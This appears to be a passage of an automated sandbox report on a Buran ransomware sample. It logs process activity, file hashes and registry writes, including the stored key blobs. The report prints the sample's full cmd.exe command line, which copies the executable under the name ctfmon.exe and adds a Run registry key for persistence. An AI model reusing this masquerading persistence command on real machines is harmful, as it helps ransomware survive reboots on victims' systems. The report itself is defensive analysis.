System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn

Process #2: cmd.exe

Information	Value
ID	#2
File Name	c:\windows\syswow64\cmd.exe
Command Line	"C:\WINDOWS\system32\cmd.exe" /e:on /c md "C:\Users\FD1HVy\AppData\Roaming\Microsoft\Windows" & copy "C:\Users\FD1HVy\Desktop\2.exe" "C:\Users\FD1HVy\AppData\Roaming\Microsoft\Windows\ctfmon.exe" & reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "ctfmon.exe" /t REG_SZ /F /D "\"C:\Users\FD1HVy\AppData\Roaming\Microsoft\Windows\ctfmon.exe\" *"
Initial Working Directory	C:\WINDOWS\system32\
Monitor	Start Time: 00:01:03, Reason: Child Process
Unmonitor	End Time: 00:01:17, Reason: Self Terminated
Monitor Duration	00:00:13

OS Process Information

Information	Value
PID	0xfcc
Parent PID	0xfc0 (c:\users\fd1hvy\desktop\2.exe)
Bitness	32-bit
Is Created or Modified Executable
Integrity Level	High (Elevated)
Username	NQDPDE\FD1HVy
Enabled Privileges	SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege
Thread IDs	0x 36C 0x D04

Dropped Files

Filename	File Size	Hash Values	YARA Match	Actions
C:\Users\FD1HVy\Desktop\2.exe	188.00 KB	MD5: db45c3e8e48c0d21cb82819a17225bbc SHA1: 4ca4e72d58717610f613eb0805468228d9a77a98 SHA256: ba809c00f829015cb70f26fe1be979f5a372e346d0e974252e8c3ee18b21dd22 SSDeep: 3072:w3t17Da7zjx7hpiO1y0tN4hgNevX3fld3u98H7ykF/6FdXn8sVG9o2GuQnS9:w3t17IPx7hpiQtbNen3uGykF/6HXntVB		... File Actions Show Properties Download

Threads

Thread 0x36c

Category	Operation	Information	Count	Logfile
Module	Get Handle	module_name = c:\windows\syswow64\cmd.exe, base_address = 0xd50000	1	Fn
Module	Get Handle	module_name = c:\windows\syswow64\kernel32.dll, base_address = 0x75e90000	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = SetThreadUILanguage, address_out = 0x75ea4f70	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\System	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Open	filename = STD_INPUT_HANDLE	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	3	Fn
File	Open	filename = STD_INPUT_HANDLE	2	Fn
Environment	Get Environment String	-	2	Fn Data
Registry	Open Key	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = DisableUNCCheck, data = 0, type = REG_NONE	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = EnableExtensions, data = 1, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = DelayedExpansion, data = 1, type = REG_NONE	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = DefaultColor, data = 0, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = CompletionChar, data = 64, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = PathCompletionChar, data = 64, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = AutoRun, data = 64, type = REG_NONE	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = DisableUNCCheck, data = 64, type = REG_NONE	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = EnableExtensions, data = 1, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = DelayedExpansion, data = 1, type = REG_NONE	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = DefaultColor, data = 0, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = CompletionChar, data = 9, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = PathCompletionChar, data = 9, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = AutoRun, data = 9, type = REG_NONE	1	Fn
Module	Get Filename	process_name = c:\windows\syswow64\cmd.exe, file_name_orig = C:\WINDOWS\SysWOW64\cmd.exe, size = 32743	1	Fn
Environment	Get Environment String	name = PATH, result_out = C:\ProgramData\Oracle\Java\javapath;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Users\FD1HVy\AppData\Local\Microsoft\WindowsApps	1	Fn
Environment	Get Environment String	name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC	1	Fn
Environment	Get Environment String	name = PROMPT	1	Fn
Environment	Set Environment String	name = PROMPT, value = $P$G	1	Fn
Environment	Get Environment String	-	1	Fn Data
Environment	Get Environment String	name = COMSPEC, result_out = C:\WINDOWS\system32\cmd.exe	1	Fn
Environment	Get Environment String	name = KEYS	1	Fn
File	Get Info	filename = C:\WINDOWS\system32, type = file_attributes	1	Fn
File	Get Info	filename = C:\Windows\System32, type = file_attributes	1	Fn
Environment	Set Environment String	name = =C:, value = C:\Windows\System32	1	Fn
Environment	Get Environment String	-	1	Fn Data
Module	Get Handle	module_name = c:\windows\syswow64\kernel32.dll, base_address = 0x75e90000	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = CopyFileExW, address_out = 0x75ea4330	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = IsDebuggerPresent, address_out = 0x75ea5930	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = SetConsoleInputExeNameW, address_out = 0x74fe09d0	1	Fn
File	Create Directory	C:\Users\FD1HVy\AppData\Roaming\Microsoft\Windows	1	Fn
File	Open	filename = STD_ERROR_HANDLE	1	Fn
File	Get Info	filename = STD_ERROR_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_ERROR_HANDLE	2	Fn
File	Write	filename = STD_ERROR_HANDLE, size = 90	1	Fn Data
File	Get Info	filename = C:\Users\FD1HVy\Desktop\2.exe, type = file_attributes	1	Fn
Process	Get Info	type = PROCESS_PAGE_PRIORITY	1	Fn
File	Create	filename = C:\Users\FD1HVy\Desktop\2.exe, desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, FILE_FLAG_SEQUENTIAL_SCAN, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE	1	Fn
File	Open	-	1	Fn
File	Get Info	type = file_type	1	Fn
File	Open	-	1	Fn
File	Read	size = 512, size_out = 512	1	Fn Data
File	Get Info	filename = C:\Users\FD1HVy\AppData\Roaming\Microsoft\Windows\ctfmon.exe, type = file_attributes	2	Fn
File	Copy	source_filename = C:\Users\FD1HVy\Desktop\2.exe, destination_filename = C:\Users\FD1HVy\AppData\Roaming\Microsoft\Windows\ctfmon.exe	1	Fn
File	Get Info	filename = C:\Users\FD1HVy\AppData\Roaming\Microsoft\Windows\ctfmon.exe, type = file_attributes	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 27	1	Fn Data
Environment	Get Environment String	name = PATH, result_out = C:\ProgramData\Oracle\Java\javapath;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Users\FD1HVy\AppData\Local\Microsoft\WindowsApps	1	Fn
Environment	Get Environment String	name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Open	filename = STD_INPUT_HANDLE	1	Fn
Process	Create	process_name = C:\WINDOWS\system32\reg.exe, os_pid = 0xfdc, creation_flags = CREATE_EXTENDED_STARTUPINFO_PRESENT, show_window = SW_SHOWNORMAL	1	Fn
Environment	Set Environment String	name = COPYCMD	1	Fn
Environment	Get Environment String	-	1	Fn Data
Environment	Set Environment String	name = =ExitCode, value = 00000000	1	Fn
Environment	Get Environment String	-	1	Fn Data
Environment	Set Environment String	name = =ExitCodeAscii	1	Fn
Environment	Get Environment String	-	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	3	Fn
File	Open	filename = STD_INPUT_HANDLE	2	Fn

Process #4: reg.exe

Information	Value
ID	#4
File Name	c:\windows\syswow64\reg.exe
Command Line	reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "ctfmon.exe" /t REG_SZ /F /D "\"C:\Users\FD1HVy\AppData\Roaming\Microsoft\Windows\ctfmon.exe\" *"
Initial Working Directory	C:\WINDOWS\system32\
Monitor	Start Time: 00:01:13, Reason: Child Process
Unmonitor	End Time: 00:01:17, Reason: Self Terminated
Monitor Duration	00:00:03

OS Process Information

Information	Value
PID	0xfdc
Parent PID	0xfcc (c:\windows\syswow64\cmd.exe)
Bitness	32-bit
Is Created or Modified Executable
Integrity Level	High (Elevated)
Username	NQDPDE\FD1HVy
Enabled Privileges	SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege
Thread IDs	0x F4C 0x D84

Threads

Thread 0xf4c

Category	Operation	Information	Count	Logfile
Module	Get Handle	module_name = c:\windows\syswow64\reg.exe, base_address = 0xf50000	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System	1	Fn
Registry	Create Key	reg_name = HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run, value_name = ctfmon.exe	1	Fn
Registry	Write Value	reg_name = HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run, value_name = ctfmon.exe, data = "C:\Users\FD1HVy\AppData\Roaming\Microsoft\Windows\ctfmon.exe" *, size = 130, type = REG_SZ	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 39	1	Fn Data

Process #6: ctfmon.exe

418

Information	Value
ID	#6
File Name	c:\users\fd1hvy\appdata\roaming\microsoft\windows\ctfmon.exe
Command Line	"C:\Users\FD1HVy\AppData\Roaming\Microsoft\Windows\ctfmon.exe" *
Initial Working Directory	C:\Users\FD1HVy\Desktop\
Monitor	Start Time: 00:01:28, Reason: Child Process
Unmonitor	End Time: 00:01:42, Reason: Self Terminated
Monitor Duration	00:00:14

OS Process Information

Information	Value
PID	0xe0c
Parent PID	0xfc0 (c:\users\fd1hvy\desktop\2.exe)
Bitness	32-bit
Is Created or Modified Executable
Integrity Level	High (Elevated)
Username	NQDPDE\FD1HVy
Enabled Privileges	SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege
Thread IDs	0x FFC 0x F70 0x 49C 0x 6C8 0x 910 0x E00

Memory Dumps

Name	Start VA	End VA	Dump Reason	PE Rebuilds	Bitness	Entry Points	AV	YARA	Actions
ctfmon.exe	0x00400000	0x00439FFF	Relevant Image	-	32-bit	-			... Region Actions Download Dump

Dropped Files

Filename	File Size	Hash Values	YARA Match	Actions
C:\Users\FD1HVy\AppData\Local\Temp\800DA69A.buran	1 bytes	MD5: 93b885adfe0da089cdf634904fd59f71 SHA1: 5ba93c9db0cff93f52b521d7420e43f6eda2784f SHA256: 6e340b9cffb37a989ca544e6bb780a2c78901d3fb33738768511a30617afa01d SSDeep: 3::		... File Actions Show Properties Download

Threads

Thread 0xffc

Category	Operation	Information	Count	Logfile
Module	Get Handle	module_name = c:\users\fd1hvy\appdata\roaming\microsoft\windows\ctfmon.exe, base_address = 0x400000	1	Fn
Keyboard	Get Info	type = 0, result_out = 4	1	Fn
Module	Get Filename	module_name = c:\users\fd1hvy\appdata\roaming\microsoft\windows\ctfmon.exe, process_name = c:\users\fd1hvy\appdata\roaming\microsoft\windows\ctfmon.exe, file_name_orig = C:\Users\FD1HVy\AppData\Roaming\Microsoft\Windows\ctfmon.exe, size = 261	1	Fn
Module	Get Filename	process_name = c:\users\fd1hvy\appdata\roaming\microsoft\windows\ctfmon.exe, file_name_orig = C:\Users\FD1HVy\AppData\Roaming\Microsoft\Windows\ctfmon.exe, size = 261	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Borland\Locales	1	Fn
Registry	Open Key	reg_name = HKEY_LOCAL_MACHINE\Software\Borland\Locales	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	1	Fn
Module	Load	module_name = C:\Users\FD1HVy\AppData\Roaming\Microsoft\Windows\ctfmon.ENU, base_address = 0x0	1	Fn
Module	Load	module_name = C:\Users\FD1HVy\AppData\Roaming\Microsoft\Windows\ctfmon.EN, base_address = 0x0	1	Fn
System	Get Info	type = Operating System	1	Fn
Module	Get Handle	module_name = c:\windows\syswow64\kernel32.dll, base_address = 0x75e90000	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetDiskFreeSpaceExA, address_out = 0x75efee90	1	Fn
Module	Get Handle	module_name = c:\windows\syswow64\oleaut32.dll, base_address = 0x75bb0000	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\oleaut32.dll, function = VariantChangeTypeEx, address_out = 0x75bca610	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\oleaut32.dll, function = VarNeg, address_out = 0x75c152c0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\oleaut32.dll, function = VarNot, address_out = 0x75c16560	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\oleaut32.dll, function = VarAdd, address_out = 0x75bed610	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\oleaut32.dll, function = VarSub, address_out = 0x75bee3e0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\oleaut32.dll, function = VarMul, address_out = 0x75bedb10	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\oleaut32.dll, function = VarDiv, address_out = 0x75c15800	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\oleaut32.dll, function = VarIdiv, address_out = 0x75c161a0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\oleaut32.dll, function = VarMod, address_out = 0x75c16400	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\oleaut32.dll, function = VarAnd, address_out = 0x75be3200	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\oleaut32.dll, function = VarOr, address_out = 0x75c16610	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\oleaut32.dll, function = VarXor, address_out = 0x75c167b0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\oleaut32.dll, function = VarCmp, address_out = 0x75bd60b0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\oleaut32.dll, function = VarI4FromStr, address_out = 0x75bd6ec0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\oleaut32.dll, function = VarR4FromStr, address_out = 0x75be3010	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\oleaut32.dll, function = VarR8FromStr, address_out = 0x75be3630	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\oleaut32.dll, function = VarDateFromStr, address_out = 0x75bd8b90	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\oleaut32.dll, function = VarCyFromStr, address_out = 0x75bc2d90	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\oleaut32.dll, function = VarBoolFromStr, address_out = 0x75bd48f0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\oleaut32.dll, function = VarBstrFromCy, address_out = 0x75bd7f50	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\oleaut32.dll, function = VarBstrFromDate, address_out = 0x75bd89c0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\oleaut32.dll, function = VarBstrFromBool, address_out = 0x75bd48a0	1	Fn
Registry	Open Key	reg_name = HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\FontSubstitutes	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\FontSubstitutes, value_name = MS Shell Dlg 2, data = 0, type = REG_SZ	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\FontSubstitutes, value_name = MS Shell Dlg 2, data = Tahoma, type = REG_SZ	1	Fn
System	Get Time	type = Performance Ctr, time = 17938820285	1	Fn
Module	Get Filename	module_name = C:\Users\FD1HVy\AppData\Roaming\Microsoft\Windows\ctfmon.EN, process_name = c:\users\fd1hvy\appdata\roaming\microsoft\windows\ctfmon.exe, file_name_orig = C:\Users\FD1HVy\AppData\Roaming\Microsoft\Windows\ctfmon.exe, size = 261	1	Fn
Environment	Get Environment String	name = TEMP, result_out = C:\Users\FD1HVy\AppData\Local\Temp	1	Fn
File	Create	filename = C:\Users\FD1HVy\AppData\Local\Temp\2766425C.buran, desired_access = GENERIC_WRITE, share_mode = FILE_SHARE_WRITE	1	Fn
File	Write	filename = C:\Users\FD1HVy\AppData\Local\Temp\2766425C.buran, size = 1	1	Fn Data
System	Sleep	duration = 100 milliseconds (0.100 seconds)	5	Fn
File	Delete	filename = C:\Users\FD1HVy\AppData\Local\Temp\2766425C.buran	1	Fn
Module	Get Filename	module_name = C:\Users\FD1HVy\AppData\Roaming\Microsoft\Windows\ctfmon.EN, process_name = c:\users\fd1hvy\appdata\roaming\microsoft\windows\ctfmon.exe, file_name_orig = C:\Users\FD1HVy\AppData\Roaming\Microsoft\Windows\ctfmon.exe, size = 261	1	Fn
Environment	Get Environment String	name = TEMP, result_out = C:\Users\FD1HVy\AppData\Local\Temp	1	Fn
System	Get Time	type = Performance Ctr, time = 18024824599	1	Fn
System	Get Time	type = Performance Ctr, time = 18024839324	1	Fn
System	Get Time	type = Performance Ctr, time = 18024845497	1	Fn
System	Get Time	type = Performance Ctr, time = 18024852265	1	Fn
System	Get Time	type = Performance Ctr, time = 18024858263	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran\Service	2	Fn
System	Get Time	type = Performance Ctr, time = 18025268265	1	Fn
System	Get Time	type = Performance Ctr, time = 18025275035	1	Fn
System	Get Time	type = Performance Ctr, time = 18025281162	1	Fn
System	Get Time	type = Performance Ctr, time = 18025287191	1	Fn
System	Get Time	type = Performance Ctr, time = 18025293377	1	Fn
Registry	Create Key	reg_name = HKEY_CURRENT_USER\Software\Buran\Service	1	Fn
Registry	Write Value	reg_name = HKEY_CURRENT_USER\Software\Buran\Service, value_name = Public, data = LUROSfn0Hv/8+TDyTusek0rukhmNx0BlMBySvziS7M5WU/fwCFxgR2shqBp8IgER1g4xXqydyHRjS+l/07SW/mmruLNphuis2R3IuW+dqHPh6ZBc5/Ayu4JzvOrDWsWu7ADkJFSBZlnoF/bY/PSkfa/yMZ1r7fW5XiBd/8muBjKDJo7OEGLmOoQ1LTbN0Gj4mUEFv2svUS6u1FdFrvhktiFO7wCsFPC5qVVLedvXgEKIKc4GctkJ1VMQ5pFN8ggsjU2S0Hw9MEC1rIeIm0WwPPh9PeGREUNXEqKdlaT48WX8yqvhT5vmgWs6qEAZQyFJovHJVoymLFvV7t53CjEjLf5P+9qe2OrAXJJd+pW4UmeHNeKWQMS2gjyl1G17k41V7G5urLMc10bL2Pzj/SqW6g==, size = 409, type = REG_SZ	1	Fn
Registry	Create Key	reg_name = HKEY_CURRENT_USER\Software\Buran\Service	1	Fn
Registry	Write Value	reg_name = HKEY_CURRENT_USER\Software\Buran\Service, value_name = Private, data = ValSjeCt7AMvgThk8Lyh1MCGt0G/mlejfnpJi20g/FbYLXsKVeUh3oJlvT1reyVDuOGBCDBZN+HFZTd7Uz1tvfK8lsJL3XbGhXGbYv83V/5yM6dRVwiRIMSIHQDlPctUIjAPK6nLuTIwMw2FbP4irzclvs8qxmmYn6oe+umKYjZe8bNdsDkZBqJ4RYPWOjGD8x09t1TjSYwDSbJa2OR55pyKdJTU98MjR8FTFzZbzA8b25zZJKPMcGI4idQ7I0EJEEK5bzXArU/mHtWw9E73PnxSLaMZWchvOa60F8t7VpAfWcWnXj7MYqzMS1kHqkFf6L8iOYyAYvJMTnU0bpLRSvubELMz8X5Sb1qA3r1fUH58h8JfKpbDpUGWxWaCZJgyqCHXrvZXkCJzYQaNuQL+azdU7dDXP+A5dk0wCLAd5nVy62oySXfNTbnhi/BPDc37URQkyTBEkI8jlVgcsr+WEhP0Lo3B+O/ZckRVE/QkVEsdQkInHSdw8CHi6SX0HsmT1RkE35mdpYXq+3mXZK4k7mosDzpsdfpJ9RqGWf8Kza96HkEzMFsPG2SGe5Q2keDznHD/0fF4dr/ATfdESBlp1sQNThCuI4LfhH/zjI4Uy3dXQdoOi3R0PD2VCawxTPCzAZQAuNdVdPeM0rj+0W2tDb0ymeE32M3LvyDnYzz7qmSqwfQZvJ0n5fNYWk4cume2yxn1iyEvziiv3xLqGRHN1Ed6gVQ8c3+rHemX+zK1TJjsPQlkehO7nACJVyIlEJk2/cF7gERd6UwGLPE4DE4joRj/y2gp64WCCtDeUiIbjGCGsLo2Iz/dX2c/a8/yRSlmTC1d6sS+nl/l26EqLjzb33LL0z1KN8HaSpYhjq1NXr4RXO9NClq6LuBnGPowzYPgAlMxSKYw8n/dSGsZoxhTqARzueCav4VnRKnjmVqFWdmqh9x/fli0HxPSE3/txcy6XxKngO2oIi1rpXgiIdq